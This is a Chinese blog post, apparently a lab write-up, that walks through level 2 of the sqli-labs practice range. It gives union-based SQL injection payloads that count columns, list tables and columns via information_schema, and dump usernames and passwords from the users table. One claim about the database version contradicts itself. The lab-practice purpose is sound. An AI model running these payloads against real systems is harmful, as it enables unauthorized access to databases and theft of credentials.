sqli-labs-master第二关通关方法,使用SQL注入查询用户名,密码

        在学习SQL语句的时候,听朋友推荐,使用sqli-labs-master靶场练习,这里也是用过很长时间把sqli-labs-master环境搭好,现在呢玩到了第二关,由于第二关和第一关的内容基本一样,所以就讲解第二关的通关方法,遇到的小伙伴一起试一试吧!

        在开始之前呢,我们需要先点击 ​Setup/reset Database for labs​,这样靶机中才会生成数据库,然后才能进行下一步:        

         然后使用我们的鼠标滑轮下滑,就会发现关卡了,我们点击Less-2进入关卡

         进入关卡后发现,这里就已经提示我们开始第一步啦!请输入ID作为带数值的参数。

         下一步呢我们就进行查询,怎么查询呢?在网址中输入“?id=1”,因为小编这里使用的是phpstudy搭的数据库环境,如果报错的话可以试一试“?index.php?id=1”

 注意:这里的“id=1”回显的信息是表中的id信息,其中id有很多,也可以输入“2,3,4,5.....”,

        我们在进行SQL注入时需要查我们的字段数,这里用 order by来找出数据库中的字段数,由于order by的排序特性,我们可以一个一个输入“1,2,3.....”,这样直到它报错就可以知道有几个字段数了。

?id=1 order by 1

        这里面的%20代表空格,可以发现,当我们输到4的时候,出现报错了,那我们就可以知道字段数为3了

 当我们知道了这个里面有3个字段数了以后,我们就可以使用union函数,由于union函数在合并查询时,两个语句都是独立存在,就算其中一个语句输错了,只要另外一个不错,也能查出来,但是字段数需要相同

         这就提供了一个思路,我们就可以使用union函数得到想要的信息:

?id=99 union select 1,version(),3

         知道了数据库的版本信息,那我们也可以用这样的方法得到数据库的库名,只要知道了数据库库名和数据库版本信息,就完成一大半了

?id=99 union select 1,version(),database()

         通过前面的方法,我们知道了很多信息,接下来我们就可以利用这些信息查询数据库中表的信息,使用对应SQL进行注入

        首先我们知道靶机中的数据库<5.0,属于高版本,我们还知道数据库中的库名是security,这样就可以使用information_schema.tables查找表名

?id=1 union select 1,group_concat(table_name),3 from information_schema.tables  where table_schema='security'   


         我们可以发现这里面一共含有4张表,其中users表含有敏感信息的可能性最大!既然知道了表名,那就简单多了,同理,使用上述方法查出字段:

?id=99 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

      

         查出字段后发现username和password字段,接下来进入字段查看数据信息

?id=99 union select 1,2,(select group_concat(username,0x3a,password)from users)

        这样我们就拿到用户名和密码通关啦!本次实验中,运用到了许多数据库语言,大家在学习SQL入注之前,强烈建议先去学习Mysql数据库语言,这样在实验过程中会减少很多碰壁

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值